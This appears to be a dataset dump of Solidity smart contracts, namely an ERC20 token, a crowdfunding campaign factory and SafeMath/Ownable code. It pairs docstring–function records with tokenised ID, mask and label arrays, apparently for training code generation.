{ _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title tranToken * Note they can later distribute these tokens as they wish using `transfer` and other * `ERC20` functions. */ contract ndit is ERC20, ERC20Burnable, ERC20Detailed { uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 80000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("ndit", "NDIT", 18) { _mint(msg.sender, INITIAL_SUPPLY); } }
* @dev Constructor that gives msg.sender all of existing tokens./
constructor () public ERC20Detailed("ndit", "NDIT", 18) { _mint(msg.sender, INITIAL_SUPPLY); }
103,121
[ 1, 6293, 716, 14758, 1234, 18, 15330, 777, 434, 2062, 2430, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1832, 1071, 4232, 39, 3462, 40, 6372, 2932, 4880, 305, 3113, 315, 2908, 1285, 3113, 6549, 13, 288, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 28226, 67, 13272, 23893, 1769, 7010, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./Campaign.sol"; import "./CampaignReward.sol"; import "./CampaignRequest.sol"; import "./CampaignVote.sol"; import "../libraries/math/DecimalMath.sol"; contract CampaignFactory is Initializable, PausableUpgradeable, ReentrancyGuardUpgradeable { using SafeMathUpgradeable for uint256; /// @dev `Factory Config Events` event CampaignImplementationUpdated(address indexed campaignImplementation); event CampaignRewardImplementationUpdated( address indexed campaignRewardImplementation ); event CampaignRequestImplementationUpdated( address indexed campaignRequestImplementation ); event CampaignVoteImplementationUpdated( address indexed campaignVoteImplementation ); event CategoryCommissionUpdated( uint256 indexed categoryId, uint256 commission ); event CampaignDefaultCommissionUpdated(uint256 commission); event CampaignTransactionConfigUpdated(string prop, uint256 value); /// @dev `Campaign Events` event CampaignDeployed( address factory, address campaign, address campaignRewards, address campaignRequests, address campaignVotes, uint256 category, bool privateCampaign, string hashedCampaignInfo ); event CampaignActivation(Campaign indexed campaign, bool active); event CampaignPrivacyChange( Campaign indexed campaign, bool privateCampaign ); event CampaignCategoryChange( Campaign indexed campaign, uint256 newCategory ); /// @dev `Token Events` event TokenAdded(address indexed token, bool approval, string hashedToken); event TokenApproval(address indexed token, bool state); /// @dev `User Events` event UserAdded(address indexed userId, string hashedUser); event UserApproval(address indexed user, bool approval); /// @dev `Trustee Events` event TrusteeAdded(uint256 indexed trusteeId, address trusteeAddress); event TrusteeRemoved(uint256 indexed trusteeId, address trusteeAddress); /// @dev `Category Events` event CategoryAdded( uint256 indexed categoryId, bool active, string title, string hashedCategory ); event CategoryModified( uint256 indexed categoryId, bool active, string title ); /// @dev Settings address public governance; address public campaignFactoryAddress; address public campaignImplementation; address public campaignRewardsImplementation; address public campaignVotesImplementation; address public campaignRequestsImplementation; string[] public campaignTransactionConfigList; mapping(string => bool) public approvedCampaignTransactionConfig; mapping(string => uint256) public campaignTransactionConfig; mapping(uint256 => uint256) public categoryCommission; /// @dev Revenue uint256 public factoryRevenue; // total from all campaigns mapping(address => uint256) public campaignRevenueFromCommissions; // revenue from cuts /// @dev `Campaigns` struct CampaignInfo { address owner; uint256 createdAt; uint256 updatedAt; uint256 category; string hashedCampaignInfo; bool active; bool privateCampaign; } mapping(Campaign => CampaignInfo) public campaigns; uint256 public campaignCount; /// @dev `Categories` struct CampaignCategory { uint256 campaignCount; uint256 createdAt; uint256 updatedAt; string title; string hashedCategory; bool active; bool exists; } CampaignCategory[] public campaignCategories; // array of campaign categories mapping(string => bool) public categoryTitleIsTaken; uint256 public categoryCount; /// @dev `Users` struct User { uint256 joined; uint256 updatedAt; string hashedUser; bool verified; } mapping(address => User) public users; mapping(address => bool) public userExists; uint256 public userCount; /// @dev `Tokens` struct Token { address token; string hashedToken; bool approved; } mapping(address => Token) public tokens; /// @dev `Trustees` struct Trust { address trustee; address trustor; uint256 createdAt; bool isTrusted; } Trust[] public trustees; mapping(address => uint256) public userTrusteeCount; mapping(address => bool) public accountInTransit; mapping(address => address) public accountTransitStartedBy; // { trustor -> trustee -> isTrusted } mapping(address => mapping(address => bool)) public isUserTrustee; /// @dev Ensures caller is owner of contract modifier onlyAdmin() { // check is governance address require(governance == msg.sender, "forbidden"); _; } /// @dev Ensures caller is campaign owner alone modifier campaignOwner(Campaign _campaign) { require( campaigns[_campaign].owner == msg.sender, "only campaign owner" ); _; } /// @dev Ensures caller is a registered campaign contract from factory modifier onlyRegisteredCampaigns(Campaign _campaign) { require(address(_campaign) == msg.sender, "only campaign owner"); _; } /** * @dev Contructor * @param _governance Address where all revenue gets deposited */ function __CampaignFactory_init( address _governance, address _campaignImplementation, address _campaignRequestImplementation, address _campaignVoteImplementation, address _campaignRewardImplementation, uint256[15] memory _config ) public initializer { require(_governance != address(0)); require(_campaignImplementation != address(0)); require(_campaignRequestImplementation != address(0)); require(_campaignVoteImplementation != address(0)); require(_campaignRewardImplementation != address(0)); governance = _governance; campaignFactoryAddress = address(this); string[15] memory transactionConfigs = [ "defaultCommission", "deadlineStrikesAllowed", "minimumContributionAllowed", "maximumContributionAllowed", "minimumRequestAmountAllowed", "maximumRequestAmountAllowed", "minimumCampaignTarget", "maximumCampaignTarget", "minDeadlineExtension", "maxDeadlineExtension", "minRequestDuration", "maxRequestDuration", "reviewThresholdMark", "requestFinalizationThreshold", "reportThresholdMark" ]; for (uint256 index = 0; index < transactionConfigs.length; index++) { campaignTransactionConfigList.push(transactionConfigs[index]); approvedCampaignTransactionConfig[transactionConfigs[index]] = true; campaignTransactionConfig[transactionConfigs[index]] = _config[ index ]; } campaignImplementation = _campaignImplementation; campaignRequestsImplementation = _campaignRequestImplementation; campaignVotesImplementation = _campaignVoteImplementation; campaignRewardsImplementation = _campaignRewardImplementation; _createCategory(true, "miscellaneous", ""); } /** * @dev Updates campaign implementation address * @param _campaignImplementation Address of base contract to deploy minimal proxies */ function setCampaignImplementation(Campaign _campaignImplementation) external onlyAdmin { require(address(_campaignImplementation) != address(0)); campaignImplementation = address(_campaignImplementation); emit CampaignImplementationUpdated(address(_campaignImplementation)); } /** * @dev Updates campaign reward implementation address * @param _campaignRewardsImplementation Address of base contract to deploy minimal proxies */ function setCampaignRewardImplementation( CampaignReward _campaignRewardsImplementation ) external onlyAdmin { require(address(_campaignRewardsImplementation) != address(0)); campaignRewardsImplementation = address(_campaignRewardsImplementation); emit CampaignRewardImplementationUpdated( address(_campaignRewardsImplementation) ); } /** * @dev Updates campaign request implementation address * @param _campaignRequestsImplementation Address of base contract to deploy minimal proxies */ function setCampaignRequestImplementation( CampaignRequest _campaignRequestsImplementation ) external onlyAdmin { require(address(_campaignRequestsImplementation) != address(0)); campaignRequestsImplementation = address( _campaignRequestsImplementation ); emit CampaignRequestImplementationUpdated( address(_campaignRequestsImplementation) ); } /** * @dev Updates campaign request implementation address * @param _campaignVotesImplementation Address of base contract to deploy minimal proxies */ function setCampaignVoteImplementation( CampaignVote _campaignVotesImplementation ) external onlyAdmin { require(address(_campaignVotesImplementation) != address(0)); campaignVotesImplementation = address(_campaignVotesImplementation); emit CampaignVoteImplementationUpdated( address(_campaignVotesImplementation) ); } /** * @dev Adds a new transaction setting * @param _prop Setting Key */ function addFactoryTransactionConfig(string memory _prop) external onlyAdmin { require(!approvedCampaignTransactionConfig[_prop]); campaignTransactionConfigList.push(_prop); approvedCampaignTransactionConfig[_prop] = true; } /** * @dev Set Factory controlled values dictating how campaign deployments should run * @param _prop Setting Key * @param _value Setting Value */ function setCampaignTransactionConfig(string memory _prop, uint256 _value) external onlyAdmin { require(approvedCampaignTransactionConfig[_prop]); campaignTransactionConfig[_prop] = _value; emit CampaignTransactionConfigUpdated(_prop, _value); } /** * @dev Sets default commission on all request finalization * @param _numerator Fraction Fee percentage on request finalization * @param _denominator Fraction Fee percentage on request finalization */ function setDefaultCommission(uint256 _numerator, uint256 _denominator) external onlyAdmin { DecimalMath.UFixed memory _commission = DecimalMath.divd( DecimalMath.toUFixed(_numerator), DecimalMath.toUFixed(_denominator) ); campaignTransactionConfig["defaultCommission"] = _commission.value; emit CampaignDefaultCommissionUpdated(_commission.value); } /** * @dev Sets commission per category basis * @param _categoryId ID of category * @param _numerator Fraction Fee percentage on request finalization in campaign per category `defaultCommission` will be utilized if value is `0` * @param _denominator Fraction Fee percentage on request finalization in campaign per category `defaultCommission` will be utilized if value is `0` */ function setCategoryCommission( uint256 _categoryId, uint256 _numerator, uint256 _denominator ) external onlyAdmin { require(campaignCategories[_categoryId].exists); DecimalMath.UFixed memory _commission = DecimalMath.divd( DecimalMath.toUFixed(_numerator), DecimalMath.toUFixed(_denominator) ); categoryCommission[_categoryId] = _commission.value; campaignCategories[_categoryId].updatedAt = block.timestamp; emit CategoryCommissionUpdated(_categoryId, _commission.value); } /** * @dev Adds a token that needs approval before being accepted * @param _token Address of the token * @param _approved Status of token approval * @param _hashedToken CID reference of the token on IPFS */ function addToken( address _token, bool _approved, string memory _hashedToken ) external onlyAdmin { tokens[_token] = Token(_token, _hashedToken, _approved); emit TokenAdded(_token, _approved, _hashedToken); } /** * @dev Sets if a token is accepted or not provided it's in the list of token * @param _token Address of the token * @param _state Status of token approval */ function toggleAcceptedToken(address _token, bool _state) external onlyAdmin { tokens[_token].approved = _state; emit TokenApproval(_token, _state); } /** * @dev Checks if a user can manage a campaign. Called but not restricted to external campaign proxies * @param _user Address of user */ function canManageCampaigns(address _user) public view returns (bool) { return _user == governance; } /** * @dev Retrieves campaign commission fees. Restricted to campaign owner. * @param _amount Amount transfered and collected by factory from campaign request finalization * @param _campaign Address of campaign instance */ function receiveCampaignCommission(Campaign _campaign, uint256 _amount) external onlyRegisteredCampaigns(_campaign) { campaignRevenueFromCommissions[ address(_campaign) ] = campaignRevenueFromCommissions[address(_campaign)].add(_amount); factoryRevenue = factoryRevenue.add(_amount); } /** * @dev Keep track of user addresses. sybil resistance purpose * @param _hashedUser CID reference of the user on IPFS */ function signUp(string memory _hashedUser) public whenNotPaused { require(!userExists[msg.sender], "already exists"); users[msg.sender] = User(block.timestamp, 0, _hashedUser, false); userExists[msg.sender] = true; userCount = userCount.add(1); emit UserAdded(msg.sender, _hashedUser); } /** * @dev Ensures user specified is verified * @param _user Address of user */ function userIsVerified(address _user) public view returns (bool) { return users[_user].verified; } /** * @dev Initiates user account transfer process * @param _user Address of user account being transferred * @param _forSelf Indicates if the transfer is made on behalf of a trustee */ function initiateUserTransfer(address _user, bool _forSelf) external { if (_forSelf) { require( msg.sender == _user, "only the user can initiate the transfer" ); accountInTransit[msg.sender] = true; accountTransitStartedBy[msg.sender] = msg.sender; } else { require(isUserTrustee[_user][msg.sender], "not a trustee"); if (!accountInTransit[_user]) { accountInTransit[_user] = true; accountTransitStartedBy[_user] = msg.sender; } } } /// @dev calls off the user account transfer process function deactivateAccountTransfer() external { if (accountInTransit[msg.sender]) { accountInTransit[msg.sender] = false; accountTransitStartedBy[msg.sender] = address(0); } } /** * @dev Trustees are people the user can add to help recover their account in the case they lose access to ther wallets * @param _trustee Address of the trustee, must be a verified user */ function addTrustee(address _trustee) external whenNotPaused { require(userIsVerified(msg.sender), "unverified user"); require(userIsVerified(_trustee), "unverified trustee"); require(userTrusteeCount[msg.sender] <= 6, "trustees exhausted"); isUserTrustee[msg.sender][_trustee] = true; trustees.push(Trust(_trustee, msg.sender, block.timestamp, true)); userTrusteeCount[msg.sender] = userTrusteeCount[msg.sender].add(1); emit TrusteeAdded(trustees.length.sub(1), _trustee); } /** * @dev Removes a trustee from users list of trustees * @param _trusteeId Address of the trustee */ function removeTrustee(uint256 _trusteeId) external whenNotPaused { Trust storage trustee = trustees[_trusteeId]; require(msg.sender == trustee.trustor, "not owner of trust"); require(userIsVerified(msg.sender), "unverified user"); isUserTrustee[msg.sender][trustee.trustee] = false; userTrusteeCount[msg.sender] = userTrusteeCount[msg.sender].sub(1); delete trustees[_trusteeId]; emit TrusteeRemoved(_trusteeId, trustee.trustee); } /** * @dev Approves or disapproves a user * @param _user Address of the user * @param _approval Indicates if the user will be approved or not */ function toggleUserApproval(address _user, bool _approval) external onlyAdmin whenNotPaused { users[_user].verified = _approval; users[_user].updatedAt = block.timestamp; emit UserApproval(_user, _approval); } /** * @dev Deploys and tracks a new campagign * @param _categoryId ID of the category the campaign belongs to * @param _privateCampaign Indicates approval status of the campaign * @param _hashedCampaignInfo CID reference of the reward on IPFS */ function createCampaign( uint256 _categoryId, bool _privateCampaign, string memory _hashedCampaignInfo ) external whenNotPaused { // check `_categoryId` exists and active require( campaignCategories[_categoryId].exists && campaignCategories[_categoryId].active ); // check user exists require(userExists[msg.sender], "user does not exist"); require(campaignImplementation != address(0), "zero address"); require(campaignRewardsImplementation != address(0), "zero address"); require(campaignRequestsImplementation != address(0), "zero address"); require(campaignVotesImplementation != address(0), "zero address"); Campaign campaign = Campaign( ClonesUpgradeable.clone(campaignImplementation) ); CampaignReward campaignRewards = CampaignReward( ClonesUpgradeable.clone(campaignRewardsImplementation) ); CampaignRequest campaignRequests = CampaignRequest( ClonesUpgradeable.clone(campaignRequestsImplementation) ); CampaignVote campaignVotes = CampaignVote( ClonesUpgradeable.clone(campaignVotesImplementation) ); CampaignInfo memory campaignInfo = CampaignInfo({ category: _categoryId, hashedCampaignInfo: _hashedCampaignInfo, owner: msg.sender, createdAt: block.timestamp, updatedAt: 0, active: false, privateCampaign: _privateCampaign }); campaigns[campaign] = campaignInfo; campaignCategories[_categoryId].campaignCount = campaignCategories[ _categoryId ].campaignCount.add(1); campaignCount = campaignCount.add(1); Campaign(campaign).__Campaign_init( CampaignFactory(this), CampaignReward(campaignRewards), CampaignRequest(campaignRequests), CampaignVote(campaignVotes), msg.sender ); CampaignReward(campaignRewards).__CampaignReward_init( CampaignFactory(this), Campaign(campaign) ); CampaignRequest(campaignRequests).__CampaignRequest_init( CampaignFactory(this), Campaign(campaign) ); CampaignVote(campaignVotes).__CampaignVote_init( CampaignFactory(this), Campaign(campaign) ); emit CampaignDeployed( address(this), address(campaign), address(campaignRewards), address(campaignRequests), address(campaignVotes), _categoryId, _privateCampaign, _hashedCampaignInfo ); } /** * @dev Activates a campaign. Activating a campaign simply makes the campaign available for listing on crowdship, events will be stored on thegraph activated or not, Restricted to governance * @param _campaign Address of the campaign */ function toggleCampaignActivation(Campaign _campaign) external onlyAdmin whenNotPaused { if (campaigns[_campaign].active) { campaigns[_campaign].active = false; } else { campaigns[_campaign].active = true; } campaigns[_campaign].updatedAt = block.timestamp; emit CampaignActivation(_campaign, campaigns[_campaign].active); } /** * @dev Toggles the campaign privacy setting, Restricted to campaign managers * @param _campaign Address of the campaign */ function toggleCampaignPrivacy(Campaign _campaign) external campaignOwner(_campaign) whenNotPaused { if (campaigns[_campaign].privateCampaign) { campaigns[_campaign].privateCampaign = false; } else { campaigns[_campaign].privateCampaign = true; } campaigns[_campaign].updatedAt = block.timestamp; emit CampaignPrivacyChange( _campaign, campaigns[_campaign].privateCampaign ); } /** * @dev Modifies a campaign's category. * @param _campaign Address of the campaign * @param _newCategoryId ID of the category being switched to */ function modifyCampaignCategory(Campaign _campaign, uint256 _newCategoryId) external campaignOwner(_campaign) whenNotPaused { uint256 _oldCategoryId = campaigns[_campaign].category; if (_oldCategoryId != _newCategoryId) { require(campaignCategories[_newCategoryId].exists); campaigns[_campaign].category = _newCategoryId; campaignCategories[_oldCategoryId] .campaignCount = campaignCategories[_oldCategoryId] .campaignCount .sub(1); campaignCategories[_newCategoryId] .campaignCount = campaignCategories[_newCategoryId] .campaignCount .add(1); campaigns[_campaign].updatedAt = block.timestamp; emit CampaignCategoryChange(_campaign, _newCategoryId); } } /** * @dev Public implementation of createCategory method * @param _active Indicates if a category is active allowing for campaigns to be assigned to it * @param _title Title of the category * @param _hashedCategory CID reference of the category on IPFS */ function createCategory( bool _active, string memory _title, string memory _hashedCategory ) public onlyAdmin whenNotPaused { _createCategory(_active, _title, _hashedCategory); } /** * @dev Creates a category * @param _active Indicates if a category is active allowing for campaigns to be assigned to it * @param _title Title of the category * @param _hashedCategory CID reference of the category on IPFS */ function _createCategory( bool _active, string memory _title, string memory _hashedCategory ) private whenNotPaused { require(!categoryTitleIsTaken[_title], "title not unique"); // create category with `campaignCount` default to 0 CampaignCategory memory newCategory = CampaignCategory({ campaignCount: 0, createdAt: block.timestamp, updatedAt: 0, title: _title, active: _active, exists: true, hashedCategory: _hashedCategory }); campaignCategories.push(newCategory); categoryCount = categoryCount.add(1); categoryCommission[campaignCategories.length.sub(1)] = 0; categoryTitleIsTaken[_title] = true; emit CategoryAdded( campaignCategories.length.sub(1), _active, _title, _hashedCategory ); } /** * @dev Modifies details about a category * @param _categoryId ID of the category * @param _active Indicates if a category is active allowing for campaigns to be assigned to it * @param _title Title of the category */ function modifyCategory( uint256 _categoryId, bool _active, string memory _title ) external onlyAdmin whenNotPaused { require(campaignCategories[_categoryId].exists); if ( keccak256( abi.encodePacked(campaignCategories[_categoryId].title) ) != keccak256(abi.encodePacked(_title)) ) { require(!categoryTitleIsTaken[_title], "title not unique"); campaignCategories[_categoryId].title = _title; categoryTitleIsTaken[_title] = true; } campaignCategories[_categoryId].active = _active; campaignCategories[_categoryId].updatedAt = block.timestamp; emit CategoryModified(_categoryId, _active, _title); } /// @dev Unpauses the factory, transactions in the factory resumes per usual function unpauseCampaign() external whenPaused onlyAdmin { _unpause(); } /// @dev Pauses the factory, halts all transactions in the factory function pauseCampaign() external whenNotPaused onlyAdmin { _pause(); } }
* @dev Approves or disapproves a user @param _user Address of the user @param _approval Indicates if the user will be approved or not/
function toggleUserApproval(address _user, bool _approval) external onlyAdmin whenNotPaused { users[_user].verified = _approval; users[_user].updatedAt = block.timestamp; emit UserApproval(_user, _approval); }
2,498,672
[ 1, 12053, 3324, 578, 1015, 12908, 3324, 279, 729, 4202, 389, 1355, 3639, 5267, 434, 326, 729, 4202, 389, 12908, 1125, 565, 18336, 309, 326, 729, 903, 506, 20412, 578, 486, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 10486, 1299, 23461, 12, 2867, 389, 1355, 16, 1426, 389, 12908, 1125, 13, 203, 3639, 3903, 203, 3639, 1338, 4446, 203, 3639, 1347, 1248, 28590, 203, 565, 288, 203, 3639, 3677, 63, 67, 1355, 8009, 19685, 273, 389, 12908, 1125, 31, 203, 3639, 3677, 63, 67, 1355, 8009, 7007, 861, 273, 1203, 18, 5508, 31, 203, 203, 3639, 3626, 2177, 23461, 24899, 1355, 16, 389, 12908, 1125, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.4; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function 